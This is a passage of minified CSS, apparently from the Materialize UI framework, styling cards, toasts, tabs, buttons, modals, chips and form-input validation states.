a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating){color:#ffab40;margin-right:24px;transition:color .3s ease;text-transform:uppercase}.card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating):hover{color:#ffd8a6}.card .card-reveal{padding:24px;position:absolute;background-color:#fff;width:100%;overflow-y:auto;left:0;top:100%;height:100%;z-index:3;display:none}.card .card-reveal .card-title{cursor:pointer;display:block}#toast-container{display:block;position:fixed;z-index:10000}@media only screen and (max-width: 600px){#toast-container{min-width:100%;bottom:0}}@media only screen and (min-width: 601px) and (max-width: 992px){#toast-container{left:5%;bottom:7%;max-width:90%}}@media only screen and (min-width: 993px){#toast-container{top:10%;right:7%;max-width:86%}}.toast{border-radius:2px;top:35px;width:auto;margin-top:10px;position:relative;max-width:100%;height:auto;min-height:48px;line-height:1.5em;background-color:#323232;padding:10px 25px;font-size:1.1rem;font-weight:300;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;cursor:default}.toast .toast-action{color:#eeff41;font-weight:500;margin-right:-25px;margin-left:3rem}.toast.rounded{border-radius:24px}@media only screen and (max-width: 600px){.toast{width:100%;border-radius:0}}.tabs{position:relative;overflow-x:auto;overflow-y:hidden;height:48px;width:100%;background-color:#fff;margin:0 auto;white-space:nowrap}.tabs.tabs-transparent{background-color:transparent}.tabs.tabs-transparent .tab a,.tabs.tabs-transparent .tab.disabled a,.tabs.tabs-transparent .tab.disabled a:hover{color:rgba(255,255,255,0.7)}.tabs.tabs-transparent .tab a:hover,.tabs.tabs-transparent .tab a.active{color:#fff}.tabs.tabs-transparent .indicator{background-color:#fff}.tabs.tabs-fixed-width{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.tabs.tabs-fixed-width .tab{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.tabs .tab{display:inline-block;text-align:center;line-height:48px;height:48px;padding:0;margin:0;text-transform:uppercase}.tabs .tab a{color:rgba(238,110,115,0.7);display:block;width:100%;height:100%;padding:0 24px;font-size:14px;text-overflow:ellipsis;overflow:hidden;transition:color .28s ease,background-color .28s ease}.tabs .tab a:focus,.tabs .tab a:focus.active{background-color:rgba(246,178,181,0.2);outline:none}.tabs .tab a:hover,.tabs .tab a.active{background-color:transparent;color:#ee6e73}.tabs .tab.disabled a,.tabs .tab.disabled a:hover{color:rgba(238,110,115,0.4);cursor:default}.tabs .indicator{position:absolute;bottom:0;height:2px;background-color:#f6b2b5;will-change:left,right}@media only screen and (max-width: 992px){.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.tabs .tab{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.tabs .tab a{padding:0 12px}}.material-tooltip{padding:10px 8px;font-size:1rem;z-index:2000;background-color:transparent;border-radius:2px;color:#fff;min-height:36px;line-height:120%;opacity:0;position:absolute;text-align:center;max-width:calc(100% - 4px);overflow:hidden;left:0;top:0;pointer-events:none;visibility:hidden;background-color:#323232}.backdrop{position:absolute;opacity:0;height:7px;width:14px;border-radius:0 0 50% 50%;background-color:#323232;z-index:-1;-webkit-transform-origin:50% 0;transform-origin:50% 0;visibility:hidden}.btn,.btn-large,.btn-small,.btn-flat{border:none;border-radius:2px;display:inline-block;height:36px;line-height:36px;padding:0 16px;text-transform:uppercase;vertical-align:middle;-webkit-tap-highlight-color:transparent}.btn.disabled,.disabled.btn-large,.disabled.btn-small,.btn-floating.disabled,.btn-large.disabled,.btn-small.disabled,.btn-flat.disabled,.btn:disabled,.btn-large:disabled,.btn-small:disabled,.btn-floating:disabled,.btn-large:disabled,.btn-small:disabled,.btn-flat:disabled,.btn[disabled],.btn-large[disabled],.btn-small[disabled],.btn-floating[disabled],.btn-large[disabled],.btn-small[disabled],.btn-flat[disabled]{pointer-events:none;background-color:#DFDFDF!important;-webkit-box-shadow:none;box-shadow:none;color:#9F9F9F!important;cursor:default}.btn.disabled:hover,.disabled.btn-large:hover,.disabled.btn-small:hover,.btn-floating.disabled:hover,.btn-large.disabled:hover,.btn-small.disabled:hover,.btn-flat.disabled:hover,.btn:disabled:hover,.btn-large:disabled:hover,.btn-small:disabled:hover,.btn-floating:disabled:hover,.btn-large:disabled:hover,.btn-small:disabled:hover,.btn-flat:disabled:hover,.btn[disabled]:hover,.btn-large[disabled]:hover,.btn-small[disabled]:hover,.btn-floating[disabled]:hover,.btn-large[disabled]:hover,.btn-small[disabled]:hover,.btn-flat[disabled]:hover{background-color:#DFDFDF!important;color:#9F9F9F!important}.btn,.btn-large,.btn-small,.btn-floating,.btn-large,.btn-small,.btn-flat{font-size:14px;outline:0}.btn i,.btn-large i,.btn-small i,.btn-floating i,.btn-large i,.btn-small i,.btn-flat i{font-size:1.3rem;line-height:inherit}.btn:focus,.btn-large:focus,.btn-small:focus,.btn-floating:focus{background-color:#1d7d74}.btn,.btn-large,.btn-small{text-decoration:none;color:#fff;background-color:#26a69a;text-align:center;letter-spacing:.5px;transition:background-color .2s ease-out;cursor:pointer}.btn:hover,.btn-large:hover,.btn-small:hover{background-color:#2bbbad}.btn-floating{display:inline-block;color:#fff;position:relative;overflow:hidden;z-index:1;width:40px;height:40px;line-height:40px;padding:0;background-color:#26a69a;border-radius:50%;transition:background-color .3s;cursor:pointer;vertical-align:middle}.btn-floating:hover{background-color:#26a69a}.btn-floating:before{border-radius:0}.btn-floating.btn-large{width:56px;height:56px;padding:0}.btn-floating.btn-large.halfway-fab{bottom:-28px}.btn-floating.btn-large i{line-height:56px}.btn-floating.btn-small{width:32.4px;height:32.4px}.btn-floating.btn-small.halfway-fab{bottom:-16.2px}.btn-floating.btn-small i{line-height:32.4px}.btn-floating.halfway-fab{position:absolute;right:24px;bottom:-20px}.btn-floating.halfway-fab.left{right:auto;left:24px}.btn-floating i{width:inherit;display:inline-block;text-align:center;color:#fff;font-size:1.6rem;line-height:40px}button.btn-floating{border:none}.fixed-action-btn{position:fixed;right:23px;bottom:23px;padding-top:15px;margin-bottom:0;z-index:997}.fixed-action-btn.active ul{visibility:visible}.fixed-action-btn.direction-left,.fixed-action-btn.direction-right{padding:0 0 0 15px}.fixed-action-btn.direction-left ul,.fixed-action-btn.direction-right ul{text-align:right;right:64px;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);height:100%;left:auto;width:500px}.fixed-action-btn.direction-left ul li,.fixed-action-btn.direction-right ul li{display:inline-block;margin:7.5px 15px 0 0}.fixed-action-btn.direction-right{padding:0 15px 0 0}.fixed-action-btn.direction-right ul{text-align:left;direction:rtl;left:64px;right:auto}.fixed-action-btn.direction-right ul li{margin:7.5px 0 0 15px}.fixed-action-btn.direction-bottom{padding:0 0 15px}.fixed-action-btn.direction-bottom ul{top:64px;bottom:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fixed-action-btn.direction-bottom ul li{margin:15px 0 0}.fixed-action-btn.toolbar{padding:0;height:56px}.fixed-action-btn.toolbar.active>a i{opacity:0}.fixed-action-btn.toolbar ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;top:0;bottom:0;z-index:1}.fixed-action-btn.toolbar ul li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:inline-block;margin:0;height:100%;transition:none}.fixed-action-btn.toolbar ul li a{display:block;overflow:hidden;position:relative;width:100%;height:100%;background-color:transparent;-webkit-box-shadow:none;box-shadow:none;color:#fff;line-height:56px;z-index:1}.fixed-action-btn.toolbar ul li a i{line-height:inherit}.fixed-action-btn ul{left:0;right:0;text-align:center;position:absolute;bottom:64px;margin:0;visibility:hidden}.fixed-action-btn ul li{margin-bottom:15px}.fixed-action-btn ul a.btn-floating{opacity:0}.fixed-action-btn .fab-backdrop{position:absolute;top:0;left:0;z-index:-1;width:40px;height:40px;background-color:#26a69a;border-radius:50%;-webkit-transform:scale(0);transform:scale(0)}.btn-flat{-webkit-box-shadow:none;box-shadow:none;background-color:transparent;color:#343434;cursor:pointer;transition:background-color .2s}.btn-flat:focus,.btn-flat:hover{-webkit-box-shadow:none;box-shadow:none}.btn-flat:focus{background-color:rgba(0,0,0,0.1)}.btn-flat.disabled,.btn-flat.btn-flat[disabled]{background-color:transparent!important;color:#b3b2b2!important;cursor:default}.btn-large{height:54px;line-height:54px;font-size:15px;padding:0 28px}.btn-large i{font-size:1.6rem}.btn-small{height:32.4px;line-height:32.4px;font-size:13px}.btn-small i{font-size:1.2rem}.btn-block{display:block}.dropdown-content{background-color:#fff;margin:0;display:none;min-width:100px;overflow-y:auto;opacity:0;position:absolute;left:0;top:0;z-index:9999;-webkit-transform-origin:0 0;transform-origin:0 0}.dropdown-content:focus{outline:0}.dropdown-content li{clear:both;color:rgba(0,0,0,0.87);cursor:pointer;min-height:50px;line-height:1.5rem;width:100%;text-align:left}.dropdown-content li:hover,.dropdown-content li.active{background-color:#eee}.dropdown-content li:focus{outline:none}.dropdown-content li.divider{min-height:0;height:1px}.dropdown-content li>a,.dropdown-content li>span{font-size:16px;color:#26a69a;display:block;line-height:22px;padding:14px 16px}.dropdown-content li>span>label{top:1px;left:0;height:18px}.dropdown-content li>a>i{height:inherit;line-height:inherit;float:left;margin:0 24px 0 0;width:24px}body.keyboard-focused .dropdown-content li:focus{background-color:#dadada}.input-field.col .dropdown-content [type="checkbox"]+label{top:1px;left:0;height:18px;-webkit-transform:none;transform:none}.dropdown-trigger{cursor:pointer}.waves-effect{position:relative;cursor:pointer;display:inline-block;overflow:hidden;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent;vertical-align:middle;z-index:1;transition:.3s ease-out}.waves-effect .waves-ripple{position:absolute;border-radius:50%;width:20px;height:20px;margin-top:-10px;margin-left:-10px;opacity:0;background:rgba(0,0,0,0.2);transition:all .7s ease-out;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;-webkit-transform:scale(0);transform:scale(0);pointer-events:none}.waves-effect.waves-light .waves-ripple{background-color:rgba(255,255,255,0.45)}.waves-effect.waves-red .waves-ripple{background-color:rgba(244,67,54,0.7)}.waves-effect.waves-yellow .waves-ripple{background-color:rgba(255,235,59,0.7)}.waves-effect.waves-orange .waves-ripple{background-color:rgba(255,152,0,0.7)}.waves-effect.waves-purple .waves-ripple{background-color:rgba(156,39,176,0.7)}.waves-effect.waves-green .waves-ripple{background-color:rgba(76,175,80,0.7)}.waves-effect.waves-teal .waves-ripple{background-color:rgba(0,150,136,0.7)}.waves-effect input[type="button"],.waves-effect input[type="reset"],.waves-effect input[type="submit"]{border:0;font-style:normal;font-size:inherit;text-transform:inherit;background:none}.waves-effect img{position:relative;z-index:-1}.waves-notransition{transition:none!important}.waves-circle{-webkit-transform:translateZ(0);transform:translateZ(0);-webkit-mask-image:-webkit-radial-gradient(circle,white 100%,black 100%)}.waves-input-wrapper{border-radius:.2em;vertical-align:bottom}.waves-input-wrapper .waves-button-input{position:relative;top:0;left:0;z-index:1}.waves-circle{text-align:center;width:2.5em;height:2.5em;line-height:2.5em;border-radius:50%;-webkit-mask-image:none}.waves-block{display:block}.waves-effect .waves-ripple{z-index:-1}.modal{display:none;position:fixed;left:0;right:0;background-color:#fafafa;padding:0;max-height:70%;width:55%;margin:auto;overflow-y:auto;border-radius:2px;will-change:top,opacity}.modal:focus{outline:none}@media only screen and (max-width: 992px){.modal{width:80%}}.modal h1,.modal h2,.modal h3,.modal h4{margin-top:0}.modal .modal-content{padding:24px}.modal .modal-close{cursor:pointer}.modal .modal-footer{border-radius:0 0 2px 2px;background-color:#fafafa;padding:4px 6px;height:56px;width:100%;text-align:right}.modal .modal-footer .btn,.modal .modal-footer .btn-large,.modal .modal-footer .btn-small,.modal .modal-footer .btn-flat{margin:6px 0}.modal-overlay{position:fixed;z-index:999;top:-25%;left:0;bottom:0;right:0;height:125%;width:100%;background:#000;display:none;will-change:opacity}.modal.modal-fixed-footer{padding:0;height:70%}.modal.modal-fixed-footer .modal-content{position:absolute;height:calc(100% - 56px);max-height:100%;width:100%;overflow-y:auto}.modal.modal-fixed-footer .modal-footer{border-top:1px solid rgba(0,0,0,0.1);position:absolute;bottom:0}.modal.bottom-sheet{top:auto;bottom:-100%;margin:0;width:100%;max-height:45%;border-radius:0;will-change:bottom,opacity}.collapsible{border-top:1px solid #ddd;border-right:1px solid #ddd;border-left:1px solid #ddd;margin:.5rem 0 1rem}.collapsible-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;cursor:pointer;-webkit-tap-highlight-color:transparent;line-height:1.5;padding:1rem;background-color:#fff;border-bottom:1px solid #ddd}.collapsible-header:focus{outline:0}.collapsible-header i{width:2rem;font-size:1.6rem;display:inline-block;text-align:center;margin-right:1rem}.keyboard-focused .collapsible-header:focus{background-color:#eee}.collapsible-body{display:none;border-bottom:1px solid #ddd;-webkit-box-sizing:border-box;box-sizing:border-box;padding:2rem}.sidenav .collapsible,.sidenav.fixed .collapsible{border:none;-webkit-box-shadow:none;box-shadow:none}.sidenav .collapsible li,.sidenav.fixed .collapsible li{padding:0}.sidenav .collapsible-header,.sidenav.fixed .collapsible-header{background-color:transparent;border:none;line-height:inherit;height:inherit;padding:0 16px}.sidenav .collapsible-header:hover,.sidenav.fixed .collapsible-header:hover{background-color:rgba(0,0,0,0.05)}.sidenav .collapsible-header i,.sidenav.fixed .collapsible-header i{line-height:inherit}.sidenav .collapsible-body,.sidenav.fixed .collapsible-body{border:0;background-color:#fff}.sidenav .collapsible-body li a,.sidenav.fixed .collapsible-body li a{padding:0 23.5px 0 31px}.collapsible.popout{border:none;-webkit-box-shadow:none;box-shadow:none}.collapsible.popout>li{-webkit-box-shadow:0 2px 5px 0 rgba(0,0,0,0.16),0 2px 10px 0 rgba(0,0,0,0.12);box-shadow:0 2px 5px 0 rgba(0,0,0,0.16),0 2px 10px 0 rgba(0,0,0,0.12);margin:0 24px;transition:margin .35s cubic-bezier(0.25,0.46,0.45,0.94)}.collapsible.popout>li.active{-webkit-box-shadow:0 5px 11px 0 rgba(0,0,0,0.18),0 4px 15px 0 rgba(0,0,0,0.15);box-shadow:0 5px 11px 0 rgba(0,0,0,0.18),0 4px 15px 0 rgba(0,0,0,0.15);margin:16px 0}.chip{display:inline-block;height:32px;font-size:13px;font-weight:500;color:rgba(0,0,0,0.6);line-height:32px;padding:0 12px;border-radius:16px;background-color:#e4e4e4;margin-bottom:5px;margin-right:5px}.chip:focus{outline:none;background-color:#26a69a;color:#fff}.chip>img{float:left;margin:0 8px 0 -12px;height:32px;width:32px;border-radius:50%}.chip .close{cursor:pointer;float:right;font-size:16px;line-height:32px;padding-left:8px}.chips{border:none;border-bottom:1px solid #9e9e9e;-webkit-box-shadow:none;box-shadow:none;margin:0 0 8px;min-height:45px;outline:none;transition:all .3s}.chips.focus{border-bottom:1px solid #26a69a;-webkit-box-shadow:0 1px 0 0 #26a69a;box-shadow:0 1px 0 0 #26a69a}.chips:hover{cursor:text}.chips .input{background:none;border:0;color:rgba(0,0,0,0.6);display:inline-block;font-size:16px;height:3rem;line-height:32px;outline:0;margin:0;padding:0!important;width:120px!important}.chips .input:focus{border:0!important;box-shadow:none!important}.chips .autocomplete-content{margin-top:0;margin-bottom:0}.prefix~.chips{margin-left:3rem;width:92%;width:calc(100% - 3rem)}.chips:empty~label{font-size:.8rem;-webkit-transform:translateY(-140%);transform:translateY(-140%)}.materialboxed{display:block;cursor:-webkit-zoom-in;cursor:zoom-in;position:relative;transition:opacity .4s;-webkit-backface-visibility:hidden}.materialboxed:hover:not(.active){opacity:.8}.materialboxed.active{cursor:-webkit-zoom-out;cursor:zoom-out}#materialbox-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background-color:#292929;z-index:1000;will-change:opacity}.materialbox-caption{position:fixed;display:none;color:#fff;line-height:50px;bottom:0;left:0;width:100%;text-align:center;padding:0 15%;height:50px;z-index:1000;-webkit-font-smoothing:antialiased}select:focus{outline:1px solid #c9f3ef}button:focus{outline:none;background-color:#2ab7a9}label{font-size:.8rem;color:#9e9e9e}::-webkit-input-placeholder{color:#d1d1d1}::-moz-placeholder{color:#d1d1d1}:-ms-input-placeholder{color:#d1d1d1}::-ms-input-placeholder{color:#d1d1d1}::placeholder{color:#d1d1d1}input:not([type]),input[type=text]:not(.browser-default),input[type=password]:not(.browser-default),input[type=email]:not(.browser-default),input[type=url]:not(.browser-default),input[type=time]:not(.browser-default),input[type=date]:not(.browser-default),input[type=datetime]:not(.browser-default),input[type=datetime-local]:not(.browser-default),input[type=tel]:not(.browser-default),input[type=number]:not(.browser-default),input[type=search]:not(.browser-default),textarea.materialize-textarea{background-color:transparent;border:none;border-bottom:1px solid #9e9e9e;border-radius:0;outline:none;height:3rem;width:100%;font-size:16px;margin:0 0 8px;padding:0;box-shadow:none;-webkit-box-sizing:content-box;box-sizing:content-box;transition:border .3s,-webkit-box-shadow .3s;transition:box-shadow .3s,border .3s;transition:box-shadow .3s,border .3s,-webkit-box-shadow .3s}input:not([type]):disabled,input:not([type])[readonly="readonly"],input[type=text]:not(.browser-default):disabled,input[type=text]:not(.browser-default)[readonly="readonly"],input[type=password]:not(.browser-default):disabled,input[type=password]:not(.browser-default)[readonly="readonly"],input[type=email]:not(.browser-default):disabled,input[type=email]:not(.browser-default)[readonly="readonly"],input[type=url]:not(.browser-default):disabled,input[type=url]:not(.browser-default)[readonly="readonly"],input[type=time]:not(.browser-default):disabled,input[type=time]:not(.browser-default)[readonly="readonly"],input[type=date]:not(.browser-default):disabled,input[type=date]:not(.browser-default)[readonly="readonly"],input[type=datetime]:not(.browser-default):disabled,input[type=datetime]:not(.browser-default)[readonly="readonly"],input[type=datetime-local]:not(.browser-default):disabled,input[type=datetime-local]:not(.browser-default)[readonly="readonly"],input[type=tel]:not(.browser-default):disabled,input[type=tel]:not(.browser-default)[readonly="readonly"],input[type=number]:not(.browser-default):disabled,input[type=number]:not(.browser-default)[readonly="readonly"],input[type=search]:not(.browser-default):disabled,input[type=search]:not(.browser-default)[readonly="readonly"],textarea.materialize-textarea:disabled,textarea.materialize-textarea[readonly="readonly"]{color:rgba(0,0,0,0.42);border-bottom:1px dotted rgba(0,0,0,0.42)}input:not([type]):disabled+label,input:not([type])[readonly="readonly"]+label,input[type=text]:not(.browser-default):disabled+label,input[type=text]:not(.browser-default)[readonly="readonly"]+label,input[type=password]:not(.browser-default):disabled+label,input[type=password]:not(.browser-default)[readonly="readonly"]+label,input[type=email]:not(.browser-default):disabled+label,input[type=email]:not(.browser-default)[readonly="readonly"]+label,input[type=url]:not(.browser-default):disabled+label,input[type=url]:not(.browser-default)[readonly="readonly"]+label,input[type=time]:not(.browser-default):disabled+label,input[type=time]:not(.browser-default)[readonly="readonly"]+label,input[type=date]:not(.browser-default):disabled+label,input[type=date]:not(.browser-default)[readonly="readonly"]+label,input[type=datetime]:not(.browser-default):disabled+label,input[type=datetime]:not(.browser-default)[readonly="readonly"]+label,input[type=datetime-local]:not(.browser-default):disabled+label,input[type=datetime-local]:not(.browser-default)[readonly="readonly"]+label,input[type=tel]:not(.browser-default):disabled+label,input[type=tel]:not(.browser-default)[readonly="readonly"]+label,input[type=number]:not(.browser-default):disabled+label,input[type=number]:not(.browser-default)[readonly="readonly"]+label,input[type=search]:not(.browser-default):disabled+label,input[type=search]:not(.browser-default)[readonly="readonly"]+label,textarea.materialize-textarea:disabled+label,textarea.materialize-textarea[readonly="readonly"]+label{color:rgba(0,0,0,0.42)}input:not([type]):focus:not([readonly]),input[type=text]:not(.browser-default):focus:not([readonly]),input[type=password]:not(.browser-default):focus:not([readonly]),input[type=email]:not(.browser-default):focus:not([readonly]),input[type=url]:not(.browser-default):focus:not([readonly]),input[type=time]:not(.browser-default):focus:not([readonly]),input[type=date]:not(.browser-default):focus:not([readonly]),input[type=datetime]:not(.browser-default):focus:not([readonly]),input[type=datetime-local]:not(.browser-default):focus:not([readonly]),input[type=tel]:not(.browser-default):focus:not([readonly]),input[type=number]:not(.browser-default):focus:not([readonly]),input[type=search]:not(.browser-default):focus:not([readonly]),textarea.materialize-textarea:focus:not([readonly]){border-bottom:1px solid #26a69a;box-shadow:0 1px 0 0 #26a69a}input:not([type]):focus:not([readonly])+label,input[type=text]:not(.browser-default):focus:not([readonly])+label,input[type=password]:not(.browser-default):focus:not([readonly])+label,input[type=email]:not(.browser-default):focus:not([readonly])+label,input[type=url]:not(.browser-default):focus:not([readonly])+label,input[type=time]:not(.browser-default):focus:not([readonly])+label,input[type=date]:not(.browser-default):focus:not([readonly])+label,input[type=datetime]:not(.browser-default):focus:not([readonly])+label,input[type=datetime-local]:not(.browser-default):focus:not([readonly])+label,input[type=tel]:not(.browser-default):focus:not([readonly])+label,input[type=number]:not(.browser-default):focus:not([readonly])+label,input[type=search]:not(.browser-default):focus:not([readonly])+label,textarea.materialize-textarea:focus:not([readonly])+label{color:#26a69a}input:not([type]):focus.valid~label,input[type=text]:not(.browser-default):focus.valid~label,input[type=password]:not(.browser-default):focus.valid~label,input[type=email]:not(.browser-default):focus.valid~label,input[type=url]:not(.browser-default):focus.valid~label,input[type=time]:not(.browser-default):focus.valid~label,input[type=date]:not(.browser-default):focus.valid~label,input[type=datetime]:not(.browser-default):focus.valid~label,input[type=datetime-local]:not(.browser-default):focus.valid~label,input[type=tel]:not(.browser-default):focus.valid~label,input[type=number]:not(.browser-default):focus.valid~label,input[type=search]:not(.browser-default):focus.valid~label,textarea.materialize-textarea:focus.valid~label{color:#4CAF50}input:not([type]):focus.invalid~label,input[type=text]:not(.browser-default):focus.invalid~label,input[type=password]:not(.browser-default):focus.invalid~label,input[type=email]:not(.browser-default):focus.invalid~label,input[type=url]:not(.browser-default):focus.invalid~label,input[type=time]:not(.browser-default):focus.invalid~label,input[type=date]:not(.browser-default):focus.invalid~label,input[type=datetime]:not(.browser-default):focus.invalid~label,input[type=datetime-local]:not(.browser-default):focus.invalid~label,input[type=tel]:not(.browser-default):focus.invalid~label,input[type=number]:not(.browser-default):focus.invalid~label,input[type=search]:not(.browser-default):focus.invalid~label,textarea.materialize-textarea:focus.invalid~label{color:#F44336}input:not([type]).validate+label,input[type=text]:not(.browser-default).validate+label,input[type=password]:not(.browser-default).validate+label,input[type=email]:not(.browser-default).validate+label,input[type=url]:not(.browser-default).validate+label,input[type=time]:not(.browser-default).validate+label,input[type=date]:not(.browser-default).validate+label,input[type=datetime]:not(.browser-default).validate+label,input[type=datetime-local]:not(.browser-default).validate+label,input[type=tel]:not(.browser-default).validate+label,input[type=number]:not(.browser-default).validate+label,input[type=search]:not(.browser-default).validate+label,textarea.materialize-textarea.validate+label{width:100%}input.valid:not([type]),input.valid:not([type]):focus,input.valid[type=text]:not(.browser-default),input.valid[type=text]:not(.browser-default):focus,input.valid[type=password]:not(.browser-default),input.valid[type=password]:not(.browser-default):focus,input.valid[type=email]:not(.browser-default),input.valid[type=email]:not(.browser-default):focus,input.valid[type=url]:not(.browser-default),input.valid[type=url]:not(.browser-default):focus,input.valid[type=time]:not(.browser-default),input.valid[type=time]:not(.browser-default):focus,input.valid[type=date]:not(.browser-default),input.valid[type=date]:not(.browser-default):focus,input.valid[type=datetime]:not(.browser-default),input.valid[type=datetime]:not(.browser-default):focus,input.valid[type=datetime-local]:not(.browser-default),input.valid[type=datetime-local]:not(.browser-default):focus,input.valid[type=tel]:not(.browser-default),input.valid[type=tel]:not(.browser-default):focus,input.valid[type=number]:not(.browser-default),input.valid[type=number]:not(.browser-default):focus,input.valid[type=search]:not(.browser-default),input.valid[type=search]:not(.browser-default):focus,textarea.materialize-textarea.valid,textarea.materialize-textarea.valid:focus,.select-wrapper.valid>input.select-dropdown{border-bottom:1px solid #4CAF50;box-shadow:0 1px 0 0 #4CAF50}input.invalid:not([type]),input.invalid:not([type]):focus,input.invalid[type=text]:not(.browser-default),input.invalid[type=text]:not(.browser-default):focus,input.invalid[type=password]:not(.browser-default),input.invalid[type=password]:not(.browser-default):focus,input.invalid[type=email]:not(.browser-default),input.invalid[type=email]:not(.browser-default):focus,input.invalid[type=url]:not(.browser-default),input.invalid[type=url]:not(.browser-default):focus,input.invalid[type=time]:not(.browser-default),input.invalid[type=time]:not(.browser-default):focus,input.invalid[type=date]:not(.browser-default),input.invalid[type=date]:not(.browser-default):focus,input.invalid[type=datetime]:not(.browser-default),input.invalid[type=datetime]:not(.browser-default):focus,input.invalid[type=datetime-local]:not(.browser-default),input.invalid[type=datetime-local]:not(.browser-default):focus,input.invalid[type=tel]:not(.browser-default),input.invalid[type=tel]:not(.browser-default):focus,input.invalid[type=number]:not(.browser-default),input.invalid[type=number]:not(.browser-default):focus,input.invalid[type=search]:not(.browser-default),input.invalid[type=search]:not(.browser-default):focus,textarea.materialize-textarea.invalid,textarea.materialize-textarea.invalid:focus,.select-wrapper.invalid>input.select-dropdown,.select-wrapper.invalid>input.select-dropdown:focus{border-bottom:1px solid #F44336;box-shadow:0 1px 0 0 #F44336}input:not([type]).valid~.helper-text[data-success],input:not([type]):focus.valid~.helper-text[data-success],input:not([type]).invalid~.helper-text[data-error],input:not([type]):focus.invalid~.helper-text[data-error],input[type=text]:not(.browser-default).valid~.helper-text[data-success],input[type=text]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=text]:not(.browser-default).invalid~.helper-text[data-error],input[type=text]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=password]:not(.browser-default).valid~.helper-text[data-success],input[type=password]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=password]:not(.browser-default).invalid~.helper-text[data-error],input[type=password]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=email]:not(.browser-default).valid~.helper-text[data-success],input[type=email]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=email]:not(.browser-default).invalid~.helper-text[data-error],input[type=email]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=url]:not(.browser-default).valid~.helper-text[data-success],input[type=url]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=url]:not(.browser-default).invalid~.helper-text[data-error],input[type=url]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=time]:not(.browser-default).valid~.helper-text[data-success],input[type=time]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=time]:not(.browser-default).invalid~.helper-text[data-error],input[type=time]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=date]:not(.browser-default).valid~.helper-text[data-success],input[type=date]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=date]:not(.browser-default).invalid~.helper-text[data-error],input[type=date]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=datetime]:not(.browser-default).valid~.helper-text[data-success],input[type=datetime]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=datetime]:not(.browser-default).invalid~.helper-text[data-error],input[type=datetime]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=datetime-local]:not(.browser-default).valid~.helper-text[data-success],input[type=datetime-local]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=datetime-local]:not(.browser-default).invalid~.helper-text[data-error],input[type=datetime-local]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=tel]:not(.browser-default).valid~.helper-text[data-success],input[type=tel]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=tel]:not(.browser-default).invalid~.helper-text[data-error],input[type=tel]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=number]:not(.browser-default).valid~.helper-text[data-success],input[type=number]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=number]:not(.browser-default).invalid~.helper-text[data-error],input[type=number]:not(.browser-default):focus.invalid~.helper-text[data-error],input[type=search]:not(.browser-default).valid~.helper-text[data-success],input[type=search]:not(.browser-default):focus.valid~.helper-text[data-success],input[type=search]:not(.browser-default).invalid~.helper-text[data-error],input[type=search]:not(.browser-default):focus.invalid~.helper-text[data-error],textarea.materialize-textarea.valid~.helper-text[data-success],textarea.materialize-textarea:focus.valid~.helper-text[data-success],textarea.materialize-textarea.invalid~.helper-text[data-error],textarea.materialize-textarea:focus.invalid~.helper-text[data-error],.select-wrapper.valid .helper-text[data-success],.select-wrapper.invalid~.helper-text[data-error]{color:transparent;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none}input:not([type]).valid~.helper-text:after,input:not([type]):focus.valid~.helper-text:after,input[type=text]:not(.browser-default).valid~.helper-text:after,input[type=text]:not(.browser-default):focus.valid~.helper-text:after,input[type=password]:not(.browser-default).valid~.helper-text:after,input[type=password]:not(.browser-default):focus.valid~.helper-text:after,input[type=email]:not(.browser-default).valid~.helper-text:after,input[type=email]:not(.browser-default):focus.valid~.helper-text:after,input[type=url]:not(.browser-default).valid~.helper-text:after,input[type=url]:not(.browser-default):focus.valid~.helper-text:after,input[type=time]:not(.browser-default).valid~.helper-text:after,input[type=time]:not(.browser-default):focus.valid~.helper-text:after,input[type=date]:not(.browser-default).valid~.helper-text:after,input[type=date]:not(.browser-default):focus.valid~.helper-text:after,input[type=datetime]:not(.browser-default).valid~.helper-text:after,input[type=datetime]:not(.browser-default):focus.valid~.helper-text:after,input[type=datetime-local]:not(.browser-default).valid~.helper-text:after,input[type=datetime-local]:not(.browser-default):focus.valid~.helper-text:after,input[type=tel]:not(.browser-default).valid~.helper-text:after,input[type=tel]:not(.browser-default):focus.valid~.helper-text:after,input[type=number]:not(.browser-default).valid~.helper-text:after,inp